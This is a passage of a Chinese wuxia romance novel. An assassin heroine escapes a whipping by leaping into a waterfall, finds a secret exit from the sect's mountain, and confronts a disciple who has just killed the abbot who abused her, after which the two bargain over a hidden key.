南琼霜心里暗骂,回头看了一眼,衡黄正笑吟吟地,不慌不忙一步步走来,手里握着鞭柄,高举起来,湛蓝天色里,手柄泛着一种残忍的光: “跑啊。今天我正想看你跑。我倒是想看看,没了那两个男人护你,你还能成什么气候。” 又一鞭凌空拍来,带着令人胆寒的风声,蛇尾一般,抽在她后背正中。 她根本站不住,重重往前栽倒,脸朝下摔在路上,脑子里嗡的一下。 这种力度,她心里清楚,一鞭就已经皮开肉绽了。 她道:“雾刀。” 雾刀阴恻恻笑起来:“干嘛。” “李玄白到哪了?” “李玄白?”雾刀用舌头剔着牙,不知方才吃了什么,笑得轻松,“根本没来。” 背上又是一鞭。 她脚下又绊了一下,额头重重磕在一块凸起的石头上,一时神智都断了两秒。 衡黄又将鞭收了,哼着小曲儿走来。 南琼霜强自稳着呼吸:“倘若只有我和衡黄两人,以你之见,谁会赢?” 雾刀:“嗯——我建议你,不要动武。” 南琼霜背上又挨了一下,后背仿佛火烧,闭了闭眼。 雾刀:“因为,宋瑶洁,跟在你们身后。” 第78章 宋瑶洁? 后背的剧痛潮水般涌入脑海,咆哮着卷走她的意识,她眼前几乎黑了一瞬,听见自己喘得像个风箱。 好痛。她是惯会忍痛的,可是似乎好久没有这么痛了,自从顾怀瑾爱上她。 眼前事物的轮廓如涟漪一般重叠着漾开,又一瞬归一,她紧紧闭了闭眼,火烧着一般的膝盖,擦着山径上的小石子曲了起来,蹬起了身。 可是腿勉强站了起来,背却仿佛皮肉整个被掀开了,上身使不得一点力,弓着身子蹒跚几步,旋即重重栽倒,下巴磕在坚硬的山径上,她痛得出不了一点声。 “哎呀,没有男的向着你,你就这么废物啦?起来打呀!不是要做一山掌门夫人吗?就你这个样子?抽了两鞭子,就跟条丧家犬一样——” 远处伊海川被那八个家仆纠缠着不得脱身,自身难保间,艰难抽空往这边看了一眼,吓得魂飞魄散: “楚姑娘!衡小姐你莫要欺人太甚!” 衡黄回首望他一眼,心情很好地咬着唇,笑: “欺人太甚?你们天山派打折我腕骨的时候,将我手腕打脱臼的时候,一掌将我掀飞的时候,可有考虑过欺人太甚四字?” 她将青丝鞭在手中高举,那垂落在南琼霜脚边的软鞭顿时游蛇一样窜回,日头底下,手臂挡住太阳,刺下的日光更晃目而残忍: “原本,这些事情都是因她而起。倘若不是她,我压根就不会上山。” “讲得明白一点吧,我不缺男人,不是非顾怀瑾不可。只是平白被人抢了东西,我衡黄,咽不下这口气。” 她将青丝鞭与手柄一同收在手里捏着,慢条斯理走到南琼霜身前,蹲了下来。 用手柄,轻轻抬起她的下巴。 衡黄生得娇艳而稚幼,如今那脸孔,在日光下,显出一种天真的残忍来: “放心吧,不会打死你。如今顾怀瑾脾气不似从前好了,我也不想惹他。不过——” 她笑着: “说到底,也就是个船娘。打个半死,我们衡山还是兜得住的。” 伊海川:“衡小姐!” 衡黄站起了身,青丝鞭啪地一声在她脚边又抽了一下: “跑啊,让你跑。跑起来才好玩。跑到你们俩媾和的暮雪院门口,我就停。怎么样?” 南琼霜看着她那张狂神色,闭了闭眼平复呼吸,气得笑了一下。 长鞭这种武器,是跑得越远,抽得越狠,这东西就不怕人跑。她以为她不知道? 只不过,即便停留在衡黄近处,她恐怕也有别的招数来折磨她。 比如,衡山的火旋镖。 当真是麻烦死了,倘若宋瑶洁不在这,她或许还能用蛛罗丝绞死她。 宋瑶洁究竟来凑什么热闹?! 南琼霜咬着牙,望着衡黄一双笑成弯月的眼睛,手掌搓在小石子密布的山径上,一寸一寸艰难地,爬了起来,跌跌撞撞往前奔去。 衡黄好整以暇地等着她跑远,“让你跑,给你五个数。五——” 山径上碎石零散,慌乱之中踏上去,脚底又滑又硌,踏一步几乎要滑一步半。 衡黄:“四、三——” 她绕开地上碎石,强忍着膝盖和后背的灼痛,拔步往上面跑。绕过一个弯,衡黄的身影不见了,声音仍在:“二——” 她抬眼一望,眼前竟然是一条白练般的瀑布,奔腾着冲下山去,将下面无垠的黄玫瑰花海割为两半,一阵雷般的水声。 “一——” 毛骨悚然的飒飒破风声,如约在她耳边响起。 这样被抽下去,她不知道还能挺多少时候。 何况,衡黄性子那样善变,虽然说了不会杀她,可未必不会杀。说不准,就将她和伊海川两人直接杀了灭口,然后给顾怀瑾报一个失踪。 她做得出来。 青丝鞭嗖地游窜过来,太阳底下,一道细细的影,直奔她早已鲜血淋漓的后背而来。 她若真死了,顾怀瑾决不会轻饶了她。什么生死一线的场面她没见过,她又何必在这里遂她的意? 她笑了一瞬,对上她那双正痛快尽兴的眼: “——你自己玩吧,不奉陪了。” 说完,当着如遭雷击的衡黄,和吓得形神俱碎的伊海川,纵身一跃,跃进了那条白瀑之中。 山上瀑布大多是山巅白雪融化后汇下来的雪水,清澈晶莹,彻骨冰寒,人一进去,瞬间就浑身麻痹,失了意识。 她被卷入冰水之中,身不由己地随流瀑奔流下坠,冰水劈头盖脸,她毫无凭依地下落,五脏六腑都腾空着换了地方。 眼前一片白茫茫,什么都看不清楚。 直奔死亡而去的那几秒,一向格外漫长。 这种时刻,她已经经历过数次,不会过分绝望。 “砰”地一声,她如一颗流星,被瀑布重重凿进水面,骨头几乎被重力碾碎,剧痛伴着漆黑一片的窒息,一同向她涌来。 她在寒潭中听天由命地颠簸沉浮,肌肉麻木,骨头却剧痛,没有一丝力气,干脆就随着水流来去,除了拼命仰头维持呼吸,一点力气也不肯用。 一旦不想着挣扎,人就不至于慌乱。行刺多年,她水性一向好,偶尔浮出水面喘息几口,还是做得到。 不知与湍急水流博弈了多久,终于,冰冷的河水绕过一个浅滩,将其中气息奄奄的人托上了岸,兀自潺潺流下山去。 树影斑驳,日光洒落。 缥碧色的河水,在太阳光下,碎闪荧荧,熠熠生辉。 她呕出几口水来,那冰寒的雪水入了她的胃,将她整个人从内到外冻透了。 河水自她身下流淌而过,带走她后背泛出的鲜血,染得河水一片淡淡的红。 她闭上眼睛,长喘了几口气,筋疲力竭地,躺倒在河滩上。 长睫颤了两下,轻轻唤:“雾刀。” 没有人说话。 她的眼睛腾地亮了起来。 又试探着,唤了一遍:“雾刀。” 林中鸟鸣啾啾,两三只猴子踩着溪中岩石,在错落日影中蹦蹦跳跳着过了溪水。 但就是没有雾刀的声音。 她笑了出来。 雾刀,跟丢了? 这可是有点意思。 暂且不说,她就此有了摆脱往生门的机会,即便她安分守己,继续回到天山上做任务,一切结束后,她将此事上报往生门,雾刀也是死罪不可免,活罪亦难逃。 这个狗东西,落在她手里,可算完了。 活该呀。 她冷笑一声,挣扎着自冰凉河水里爬起来。 这一动,方知身上伤得有多重。 衡黄显然是嫉妒她已极,浑身功力用了十成十,鞭得她后背皮肉大约已经翻卷了起来,随意一动,也会牵动背上的肌肉,痛得她倒吸一口冷气。 她不是不痛,只是善于忍痛。 何况,这些日子,顾怀瑾待她简直如待掌上明珠一般珍爱,她好日子过得久了些,陡然尝了些从前的滋味,再怎么习惯,也有点难以忍受。 眼下,顾怀瑾可是绝不可能帮得了她了。 她抬头望望头顶层叠树影,日光摇曳着筛落,刺得她眯了眯眼。 要习惯。顾怀瑾的爱和庇佑是暂时的。 顾怀瑾这个人,是暂时的。 她笑了一声,使劲全身力气从河水中湿淋淋站了起来,打算顺河而下。 眼下,或许顾怀瑾还没有从三清峰上下来。不过,衡黄没有杀伊海川的理由,大约不会真的杀伊海川。只要伊海川未死,顾怀瑾知道她受了欺负,跃下瀑布,就只是时间问题。 而且,会很快。 很快,全山的人便会奔走相告着,共同来寻她。 她要遇见一个愿意带她回去见顾怀瑾的人,是很容易的事。 反正满山的人都会来找她,上山下山都是一样,不若顺着河流下山,还省力些。 那一个下午,南琼霜一直在密林中跌跌撞撞、磕磕绊绊地走。 因着受了不轻的伤,又在冰瀑里泡了不知多久,走着走着,渐渐就浑身乏力,身上冷得如坠冰窟,哆嗦到骨头和骨头彼此撞击,头脑也一片昏沉。 她知道,这是受了重伤,又在雪水中冻透了,人已经开始发烧。 就像顾怀瑾为救她,生挨了七十鞭那时一样。 走着走着,浑浑噩噩地,就走到了夜里。 她再醒过来的时候,才发现天已经黑了。林子中漆黑一片,一钩娥眉月惨白地挂在天上,仿佛谁的玄黑长袍被勾破了一个口子。 三四只鸮挤在树枝上凄厉惨叫,一点光也不见,唯有这些鸟的眼睛,鬼火一般,在夜里冥冥发着光。 她甚至不知自己是什么时候倒下,什么时候昏了过去,发觉自己悠悠醒转的时候,心里一时惊讶。 这样的深山密林里,夜晚,绝不适合赶路。 只是。 她已经伤得太重,还发着烧,就这样一个人倒在这里,不知道还见不见得到明天的太阳。 就算撑不住,至少也要倒在一个接近山径的地方。说不定顾怀瑾已经得了消息,派人满山寻她了呢? 她这时才发现,生死关头,她竟然开始自然而然地依赖顾怀瑾。 雾刀绝不会来救她,李玄白或许会来,或许不会。 但是顾怀瑾,一定会来的。 他不会放她一个人在这。 她一时竟不知道是什么心情,伸手不见五指的夜里,麻木地伸手捂住脸,缓了至少两分钟。 很奇怪。明知道雾刀不在这,可是,还是害怕。 害怕发觉一些东西。 她浑身抖得更加厉害,身上忽冷忽热,仿佛刚刚坠下冰窟,又叫人抛进油锅。 她不得不抱住自己,按住自己颤抖不已的胳膊,蹲下身,强迫双腿不再发抖。 她今天病了,病得开始胡思乱想。 做她们这一行的,最忌讳胡思乱想。想得多,错得多,到最后,丢的是自己的性命。 她咬住嘴唇,终于缓缓站起了身,迈开步子,继续顺着河水的流向往下走。 深夜里泥土湿滑,又瞧不见路,走三步绊两下是常事。到后来,她已经习惯了失去平衡扑下泥坡,也习惯了后背牵扯的撕裂痛,甚至开始感谢背上的灼痛。 至少,痛能保证她清醒。 后来,痛也不能保证她清醒。 不知什么时候,她的意识又开始混沌了起来。 可是,她甚至不知道自己在浑浑噩噩。 直到一脚踏空。 黑暗里,一阵扑通水声,她猛地从幻梦里惊醒,这才发现自己,不知道什么时候,又落了水。 算了吧。她会水,但已经是筋疲力竭,强弩之末。 人在离死很遥远的时候,或许很怕死。但真正同死亡只有一线之隔时,往往只剩浓重的困倦。 她无力地任水卷走自己,口鼻中忽然呛进一口冷水,呛得她鼻腔酸涩,她清醒一瞬,忽然,“咣”的一声,额头重重被什么东西怼了一下。 她没有力气恼怒,本已经模糊的视野,黑夜渐渐合拢。 最后一丝意识消失前,她看清了,那撞得她脑子快炸开的东西,是一根浮木。 攀上去,或许还能活。 但是,算了吧,真的好累。 岁安两只手卷成一个号角,趴在她耳朵旁边扯着嗓子大吼: “醒醒啦!姐!都给你送到眼前来了!” 她眼皮似乎有千斤重。 岁安:“姐!!!” 南琼霜干裂的嘴唇开合一瞬:“别吵。” 岁安:“你考虑考虑我姐夫!!!” 南琼霜:“……你哪个姐夫。” 忽然是顾怀瑾的脸孔。 他拈起她一缕长发,放在唇边,闭目吻着:“皎皎,等等我。” 左边,顾怀瑾搂着她,温凉的唇恳求似的吻她,从唇一直亲到脖子,脸色白得没有个人样。 右边,岁安咋咋呼呼大呼小叫,额际的碎发都炸了起来。 她闭上眼睛,叹了一口气,用尽全身力气扶住那根浮木,一跃,将那浮木压在身下,趴了上去。 迷迷糊糊,听见顾怀瑾问她,“什么叫‘哪个姐夫’?” 她力竭:“……滚。” 顾怀瑾靠在床头,又将公文翻了一页:“皎皎,到底什么叫‘哪个姐夫’?” 仲夏夜,萤火虫自窗下花木中飞了出来,一闪一闪,仿佛发着光的微尘。 她趴在顾怀瑾的膝上,有一搭没一搭地摇着团扇,“这话你到底是从哪听来的。” “我不知道。”毛笔上的墨蹭了一点在指尖,他将那一点墨搓去,“但似乎是你说的。你在回答一个年纪不大的姑娘。” “胡扯。”她摇着团扇,将落在被上的蚊子拍去,“你天天也忒能吃醋了。不是李玄白,就是别人——” 她打着哈欠,将衾被在自己身上盖了盖。 顾怀瑾在她身后,给她将被角细细掖好:“冷吗?这么热的天,还盖的严丝合缝的。” 她困了,喃喃:“有一点。” 顾怀瑾叹息:“明天再叫屈术先生来给你开两张方子,一会抱着你睡吧。你身子太差了,自己还不仔细。叫你吃些药,也不好好吃。我一天天就跟在你身后操心。” 她不理,猫儿似的在他膝上蜷了蜷,又是一个哈欠:“谁叫你操心了,又没叫你管我。” 深夜里,顾怀瑾默了一瞬,食指戳了戳她的脸颊,“没良心的,说这种话。” 俯下身,拨开她耳畔的发,落下一阵轻而密的吻: “等你睡了,非磨你不可,看你怎么办。” 再清醒过来的时候,天仍黑着。 漆黑一片,她仍是不知道自己身在何处。 只是,冷、痛、疲乏不堪。 她趴在一根浮木上,又被冲到了什么漆黑的山洞前。河水兀自往里哗哗流淌,她的浮木卡在洞口的芦苇丛里,别在一块巨大的岩石与河岸的缝隙间。 太冷了,冷得身上几乎痛了起来。 不过,眼下,也不知道是冻得发痛,还是真的在痛。 再冷也没有人管。 她垂下眼,动动五指,意外发现虽然浑身冷得关节僵住了,但勉强活动一下,倒也还能动。 既然能动,就得上岸,水里太冷了。 她借着月光,揪着河岸上茂密的芦苇丛,推开身前的浮木,一步一步,咬着牙把自己扯上了岸。 手上有水,滑得很,那样用蛮力,连手都被芦苇茎割破了几道。 那点伤,跟她身上其他伤比起来,小巫见大巫,她没管。 她颤巍巍站上了岸,这才发现在水里漂的久了,上了岸,整个身子简直是生命不可承受之重,她本就脚步虚浮,差点又栽回河里,堪堪扶住岸边一棵树。 她勉强喘了几口气,借着月色,四下打量。 顺着河水往下,应该到天山山门前才是,怎么到了这个山洞口了? 这山洞里面有什么,莫非是逝水牢那样的溶洞? 她不想进去,走到山洞前,不死心地往里探头,看了看。 一看,却愣住了。 那山洞的另一端,泛出些熹微的光亮,红彤彤的。 这山洞里有人? 她不敢相信,踩着河岸,试探了脚下土地的虚实,方扶着山洞石壁,小心翼翼地,走了进去。 这山洞很短,短到,没有走几步,就看见了山洞尽头的东西。 荧荧灯火映在她眸子里,映成一片颤动的辉煌的海。 南琼霜抠着石壁,简直不敢相信。 灯火万千,盈盈闪烁,排满山下镇子的整个天空,映得天都红彤彤的。 这下边,是山下集市。 绕过了天山派封山门禁的,山下集市。 这是一条,出山密道。 第79章 雾刀不在。 眼前是出山密道。 身后无人跟随。 摆脱往生门,独自下山,天时地利之机。 唯一叫她有点犹豫的,是“人和”。 她受了伤,又发着烧。在山上继续走,或许很快可以碰见山上弟子,她就可以回到顾怀瑾身边。往后一切,她都不需要操心,顾怀瑾会事无巨细地帮她安排好一切。 有顾怀瑾在,她就只需要靠在他肩上,哼哼两声,大夫、敷药、煎药、休养,一切的麻烦,都不需她绞尽脑汁。 但是,倘若下山。 山下集市距离这里还远,若要到山下去,她必须得带着这一身伤和昏昏沉沉的脑子,独自跋涉过漆黑的、或许有野兽出没的密林。 山下是绝不可能碰到山上弟子的,她唯有赌,赌可以安然无恙地抵达集市。 赌倒是无所谓,南琼霜这一辈子,一直在赌桌上住着。 更关键的问题是。 她没带钱。 在天山上,她连院子都出不了,身边时时有人随行,根本没有用钱的地方。 何况,今日送行宴后,本是要跟顾止直接上朝瑶峰的,她所有的盘缠细软,都收拾在了顾怀瑾之前为她准备的下山行囊里,没有带出来。连她头上那根可怜的簪子,也早落入了水中。 没有钱,寸步难行。 再说,她后背伤得鲜血淋漓,浑身湿得跟落汤鸡一般,走在街上,难保不会被人注意。 往生门的眼线遍布天下,倘若被同行撞见,她连骨头渣子都剩不下。 反正,出山密道就在这里,不可能换了地方。 不如今天先回去,治好伤、换身正常衣服、带上钱,再找个机会摆脱雾刀,反正她在山上受刁难的机会多了去了,没有衡黄,也有宋瑶洁。 她微微一哂,回身,又从山洞内走了回来。 找到了一条出山密道,人跟着亢奋了许多,意识似乎也没有那么昏沉了。 河水昼夜不停地奔流,她循着水声,借着一点月色,小心翼翼地沿着泥坡走下山。 渐渐地,树木稀了,视野开阔了起来,越过最后两三棵巨树,眼前是一个静谧的山谷,萤火虫自灌木丛里飞出来,闪着微弱的光。 她一看,却愣了。 她就奇怪,怎么走了这么久,都不见有弟子擎着火把在山上搜她。 原来是走到了这来。 漱玉斋。 她轻笑了一声,今日这一切,都是因宋瑶洁那只珠花而起,现在,也真是冤家路窄。 漱玉斋坐落于浮光谷内,整个归宋瑶洁管辖。宋瑶洁一向喜静,又不待见她,除非顾怀瑾以少掌门之威强迫,否则,不可能放人入谷搜索。 眼下,顾怀瑾大约正满山寻她,顾不得宋瑶洁。 她掩在一棵树后,悄悄往院中窥视。 来都来了,要不杀了宋瑶洁? 算了吧。日后,还需要宋瑶洁刁难她呢,不然怎么摆脱雾刀? 她笑了一瞬,打算离开。 忽然竟发现,漱玉斋门前,似乎有些古怪。 侍卫尽数撤走了,那圆月门,在夜色里仿佛一个空荡荡的缺口,简直是一种昭然若揭的邀请。 宋瑶洁发的什么疯? 山上众人的院落,夜里都是有侍卫的。暮雪院有之,漱玉斋,倘若她没记错,也是有的,就守在那圆月门前。 怎么将侍卫撤了? 南琼霜忽然想起今日送行宴上,宋瑶洁和慧德,两人神色都那样不对。 倘若她没记错,宴席上,慧德曾说,今夜要来漱玉斋教导宋瑶洁佛法。 如今这是几时了?教导佛法,慧德是回了,还是没回? 不论慧德回了还是没回,都不该将侍卫尽数撤走。何况,慧德那一把老弱身子骨,竟然大老远自菩提阁内出来,到漱玉斋内教导什么佛法,她怎么想怎么不对。 倘若她想的是真的…… 或许这件事,她可以利用。 她四下环视一圈,见确实没人,略略活动了一下颈椎,试探着动了动后背。 伤得重,还是痛,轻功是用不了。 好在,这附近无人,她可以大摇大摆地进院子。不过,进去之后,要隐藏踪迹,需得小心。一个不慎,被里面的人发觉,她非得被灭口不可。 不过,明知道可能会被灭口,今夜这场冒险,她还是拒绝不了。 她可不是每晚都有机会夜探漱玉斋,更不会每晚都能撞上慧德入宋瑶洁的院子。 倘若她猜得对,那么便是一个惊天秘密,她大可以拿着这个秘密,撕下面具,威胁宋瑶洁,逼慧德退位。 是成是败,在此一举。 她自巨树后面闪身出来,踮着脚小跑入了圆月门。 漱玉斋内,所有的灯都熄着,寂寥无声。 虫鸣喧哗嘈杂,萤火虫兀自在空中飞舞。 然而,那萤火虫萦绕的窗下灌木上头,支开的窗里面,宋瑶洁却不在榻上。 她小心翼翼走近,从窗子往里看。 宋瑶洁不仅不在榻上,还不在屋内。 奇了怪了。 她沉吟一瞬,再度踮着脚尖,猫儿一样摸去了她此前在这里借住时,住过的房间。 那房间里也没有人。 这漱玉斋今天到底在做什么,人都哪去了。别说宋瑶洁,为何连祁竹的影都没见着。 她小心翼翼、蹑手蹑脚,又将整个漱玉斋内,所有的房间,挨个瞧了一遍。 没有人。 彻彻底底的,没有人。 别说没有慧德、没有宋瑶洁、没有侍卫,连侍仆、丫鬟,都连影也没有一个。 这漱玉斋的人,都哪去了? 她站在院子中间,环视一圈,觉得自己方才那般小心谨慎,几乎有点可笑,连个人影都没有,她还在这躲着谁? 这实在太奇怪。南琼霜站在原地思量片刻,最终抬眼,目光落在漱玉斋的正房。 如今,正房一贯打开的门紧闭着,关得严丝合缝。 她轻轻地,“吱呀——”一声,将正房的窗推开,咬牙活动了一下后背。 提起一口气,钻入窗内,轻轻落地。 正房,是她要去暮雪院借住那日,与宋瑶洁道别的地方。如今,里面一片漆黑,唯有一点白色月光自窗子斜照进来,映亮半间厅堂。 她记得,那时,她故意在这里摔断了一串手串,珠子全朝一侧滚去,她因而推测,这漱玉斋底下,有东西。 如今,她的推测,仍是没变。 她踩着青石砖铺就的地板,一步一步小心分辨着地面微妙的倾斜,沿着地面的角度,一点一点,踩着砖缝,搜索整间厅堂,最低的地方。 最终,走到了一堵墙之前。 墙上挂着一幅巨大的杨柳观音像。 她回身望了一眼窗外月色。如今月亮正好,一丝纤薄的云挂在月亮的弯钩上,不掩月色清亮,倒被月亮映得如丝绒一般。 望着那月色,她想,倘若漱玉斋有密室,那么,当在这堵墙之后。 转回身,面前观音像却不见了。 站了一个无声的人,直直看着她。 倒也不知是否是人,简直如一个怨鬼。 两只眼睛彻底失了神,一双眼睛,死得跟黑纽扣一般,满面猩红,刺眼的红血迸溅在脸颊、颈侧,又溅入眼底,顺着眼泪,直直往下巴颏上淌。 歪着头,见了她,缓缓地,木偶一般,眨了眨眼。 南琼霜刚刚吊起来的心,瞬间放了回去。 她抱着肩膀笑起来:“啊,怎么回事,不是喜静又好洁的吗?杀个人,给自己溅成这样。” 宋瑶洁浑身哆嗦得不成样子,脸颊肉和唇瓣抖得几乎摇晃起来,见了她,木然举起了手中匕首。 数根泛着月光的丝线悄无声息将那匕首兜住,吊在门框上,宋瑶洁的手死死握着匕首不肯放,一双胳膊也被吊得举高,南琼霜站在她对面,几乎听到了她关节僵硬的咯吱咯吱声。 那柄匕首,缠绕着透明的丝线,闪烁着泛蓝的光,卡在丝线里,动弹不得。 对面,南琼霜笑吟吟摆弄着五指,“心神动摇成这样,还想杀人。我就是断了条腿,你今日也动不得我。” 宋瑶洁依然如痴了一般,执拗举着胳膊,不肯放下。 “听不懂话了是吗?”南琼霜笑着,“正好,那我们不兜圈子,开门见山吧。” 向她摊开五指,笑得游刃有余: “阴阳钥在哪?” 宋瑶洁的声音,低得如鬼魅:“……什么阴阳钥。” 南琼霜凑到她脸前,仔细端详了一刻:“噢,现在还傻着呢,说不了话。”咬了下唇,蛛罗丝泛着蓝点攀上宋瑶洁的脖子,绷紧:“可惜,由不得你不说。阴阳钥在哪?交出来。” 她探头往宋瑶洁身后的密室里看了一眼,惨白月光里,一个绛红色衣衫的秃瓢倒在血泊里,她笑了一声,“你果然把那老秃驴杀了。杀了就杀了,你看看你怕成什么样子。” 宋瑶洁僵硬着,双眼涣散。 她笑,“慧德这些年,是不是一直打着教导佛法和闭关的名号,强要你?” 宋瑶洁打着哆嗦,说不出话。 她眼光在宋瑶洁颈侧的几团红痕上转了一瞬,笑了一声,“我就早觉得那老秃驴奇怪。明知道你喜欢顾怀瑾,可是要他娶亲,第一个想到的,竟然不是你。还有那次,暮雪院内的树下,莫名其妙地去握你的手……”她嗤笑,“老东西,东西老了,倒还志在千里。” 她笑,“我呢,撞破了你和慧德的事,撞见了你杀慧德,还知道你拿了阴阳钥。是不是很想杀了我?” 宋瑶洁不语,本命珠幽灵一般浮起来,嗖嗖奔她脑后而去。 南琼霜抬指,数根丝线无声织成一张网,将那几颗珠子,渔网似的,兜在一处。 “别急啊。我话还没说完呢。” 她伸出手,雪白的衣袖,将宋瑶洁脸上的血迹安慰一般拭去: “做个交易吧。你有我想要的东西,我也有你想要的东西。我也可以帮你。” 宋瑶洁眼里的光缓缓凝聚成一个点。 她喘着气,笑道: “首先,帮我治伤。” 说完,再也支撑不住,耳畔一阵嗡嗡作响,她眼前一黑,晕了过去。 再醒来的时候,是在从前她借住的那个房间里。 床帐依旧是那个素色床帐。她坐起了身,背后一阵牵拉的刺痛,她不免嘶 了一口气。 整个上身已经妥帖缠好了纱布,后背依然痛着,可是却很清爽,想来是已经处理过了,上好了药。 连衣裳,也换上了宋瑶洁一贯的素白衣裙,带着点梅花冷香。 干干净净,清清爽爽,宋瑶洁做事的风格,有时她也挺喜欢。 走去妆镜前一看,连脸上血污都替她洗过了,头发也干净着,大概宋瑶洁也喜洁成癖,不许脏兮兮的东西入她的漱玉斋,不得不给了她点贵宾待遇。 她笑了一瞬,走到窗前,想将窗支起来。 这时才发现,窗外暗沉沉的,大约已经从窗外,用木板钉死了。 她耸耸肩,走去门前,敲了敲门。 门无声打开,守在外面的,是宋瑶洁的大丫鬟,祁竹。 见了她,祁竹讳莫如深地颔首,一个字也未吐,转身走了。 她自然也心领神会,又将门无声关上,坐回榻上等宋瑶洁。 不一会,门被叩了两下,不及她应,来人将门推开,走了进来,坐在了她窗下的椅子上。 望着宋瑶洁缄默神色,南琼霜心情很好地笑了笑。 “这么紧张干嘛。”她道,“给我上一盏茶来。” 宋瑶洁回身望了侍在身后的祁竹一眼。 祁竹沉默,颔首退去。 不一会,祁竹奉上一盏热气氤氲的清茶。她略略一品,是天山上待贵客的雪顶含翠。 她含着笑,捏着茶盖刮去茶沫,等着宋瑶洁开口。 “楚姑娘究竟是什么人。” 这个问题,南琼霜绝不会答,兀自啜着茶水。 “旁的事情,与你无关,你都别管。”她垂眼笑着,“不是想要一条出山密道吗?我碰巧晓得。” 宋瑶洁沉默。 良久,她声音平直:“你都是怎么知道的。你到底知道多少。” 她笑了一下。 其实,这些事情,她心里早有一些隐约的推测。只不过,一直缺少些东西,她心里那些感觉串不起来,总觉得千头万绪、难以捋顺。 直到,见到宋瑶洁浑身是血地,从那密室里出来。 所有事情,都说得通了。 慧德本就不是什么好人,披着袈裟挂着佛像,背地里不仅偏私母家、打压顾怀瑾,还打着闭关的名头,强迫他的入室大弟子。 因而,送行宴上,宋瑶洁才会那般失态。 她从前,或许在顾怀瑾身上系了些希望,盼望他能救她于水火。 可是,如今顾怀瑾一颗心吊在她身上,半点也瞧不见别人,她连这一条微茫的希望都断了。 慧德却在此时重提了陪同闭关一事。 她再也忍不得,这么多年苦练武功,终于也可以不必再忍了,于是在慧德再来漱玉斋时,亲手了结了他。 却正好撞见了,不知为何站在密室前的南琼霜。 南琼霜笑得自在,杯盖缓缓在杯缘滚着:“你跟慧德的事,我无所谓。我就要你手里那一只阴阳钥。” “什么阴阳钥。”宋瑶洁已经平静了下来,将茶凑在鼻尖下嗅着,“我不知道你在说什么。” “别装了。”南琼霜笑,“藏龙池地宫的生门,你自告奋勇要负责修缮,当日我就觉得不对。这种事情,要做,第一个牵头的也该是顾怀瑾,他才是那个怕山上人勿入丧命、要花大力气修缮的性子。” “你?你是最循规蹈矩,谨守山规的。雨季开藏龙池已经是破例,以你本来的性子,定然是主张尽快将藏龙池复原,不可能放着地宫大开,修什么生门。何况,生门堵死,星辰阁钥匙便无虞,不过可能会冤死几条人命。你是会在山规与人命之间,选人命的性子吗?” “要修那生门,除非,是那生门,对你有用。” 南琼霜垂眸,将烫人的茶水吹得涟漪轻皱: “你想杀慧德,但满山都是机关,还有封山门禁,所以你需要镇山玉牌开路。星辰阁钥匙在那底下,但没有生门,进去了也拿不出来。所以,你才会大老远的……不顾潭底淤泥,不顾山规,不顾什么灵潭、风水,苦哈哈的,修地宫。我说的对不对?” 宋瑶洁长睫垂着,神色平淡如白水,没有一丝起伏。 南琼霜食指绕着长发,“地宫开着,地宫里的钥匙封在星辰阁里,你就想拿两仪阁内的阴阳钥。不过,”她转头看向宋瑶洁,笑了一声: “阴阳钥,恐怕你下手晚了,只剩一只了吧?” 宋瑶洁的睫毛颤抖了一下。 “毕竟,如果你有一双,监守自盗原本就方便得很,你早就拿到镇山玉牌了。怎么还会在这里?” 宋瑶洁垂眸出神半晌,良久,悠长地叹了一声。 “你这种人,上天山来,究竟是为的什么?” 南琼霜笑着耸耸肩。 宋瑶洁低低地问:“另一只阴阳钥,你可知在谁手里?” 南琼霜知道,但微微一哂,笑而不语。 宋瑶洁脸色如死灰一般哀颓麻木,茶盖刮了刮杯缘:“你说,你知道一条出山密道。” 南琼霜笑:“就不久前知道的。还是托你的福。” 宋瑶洁:“你想要我手里这只阴阳钥?眼下给不了。” 南琼霜挑眉:“因为你想打开九曜逆轮烧山?” 宋瑶洁沉默一瞬,闭了闭眼:“你总将别人的话抢先说了,好像其余人都是傻子似的。” “眼下烧不了山。”雨点啪嗒啪嗒打在窗上,打得院内花草一阵簌簌声,南琼霜道,“正是雨季。你以为你杀了慧德,还能瞒多久?赶快下山得了。” “我会放出消息,说慧德今夜就闭了关。”宋瑶洁凉凉笑了一声,眼神灼灼慑人,“老东西,平日里就知道舔着脸抓着我不放。这下好了,他的事,只要是由我口中宣布,就无人不信,没人敢置喙。” 她那口气,听得南琼霜多看了她两眼。 宋瑶洁恨恨将茶盖搁在茶盏上,叩得瓷杯“叮”一声,余光忽然见南琼霜在瞧她。 那眼神,仿佛从未认识过她似的,嫌弃之中又带了一丝惊异,惊异之外又略带着似笑非笑的揶揄。所有情绪之外,还有一点古怪的……欣赏。 南琼霜见怪地笑了一声,灌了口茶。 宋瑶洁被她看得浑身发毛:“看什么。我问你,你明明可以去顾怀瑾那里告发我,为什么竟然不去寻他。只要我上涟雷台受审,搜出阴阳钥是早晚的事。” 她一哂:“既然结果都一样,我为什么要告发你。” 宋瑶洁笑了,“你不是想说,我用了那只珠花挑拨你和衡小姐,你瞧不出来吧?” 瞧,自然是瞧得出来的。 但她这人,有自知之明。她不是什么好人,没干过什么好事,所以别人反过来害她,她不在乎。 没有只有她害人,不能人害她的道理,她既做了,就不怕报应。 只是,宋瑶洁的这一身骨气,她真是没想到。 多少人,因为无力自保之时身不由己地被男人糟蹋过,从此一蹶不振,自怨自艾,泪水涟涟地了此残生。 遇见这种事,愿意走这一步倒也正常,无甚可责怪的。 只是,愿意咽下血泪苦毒,十年磨一剑,要人血债血偿的,才算有骨气,有本事。 被人践踏过又如何。正是因为被人践踏过,才不能再自我践踏。 拿走的,拿回来;抢走的,抢回来。欠下的,追讨回来。 不管什么父兄师长,不论你用什么头衔、道德来压我,你欠了我,侮辱了我,我会打断骨头、敲落牙齿,一笔一笔地,向你讨回来。 南琼霜指尖摩挲着茶盏光滑的边缘,“你是个有骨气的。我看错你了。” 宋瑶洁嗤笑一声:“骨气?我还恨自己,已经忍了太久。从最开始,他夺去我——” 剩下的字,噎进喉咙里,说不出来。 南琼霜轻蔑笑笑,“贞洁那东西,不过是男人编造出来的,全是放屁。你不会还认这玩意吧?” 她笑着啜了口茶,“凭什么听男人的?他们说我们要贞洁,我们就得贞洁?他们自己怎么不遵循这一套?自说自话编出来的一个破词儿,不往自己身上套,成天来要 求别人。” 宋瑶洁也讥诮笑了一声,啜了口茶。 “何况,这原本就荒谬至极。”她笑,“倘若初夜和贞洁那般重要,自然该留给自己,凭什么留给别人?” 宋瑶洁一口茶水喷了出来,洒了满案。 南琼霜洁癖,嫌弃不已:“你至于吗?” 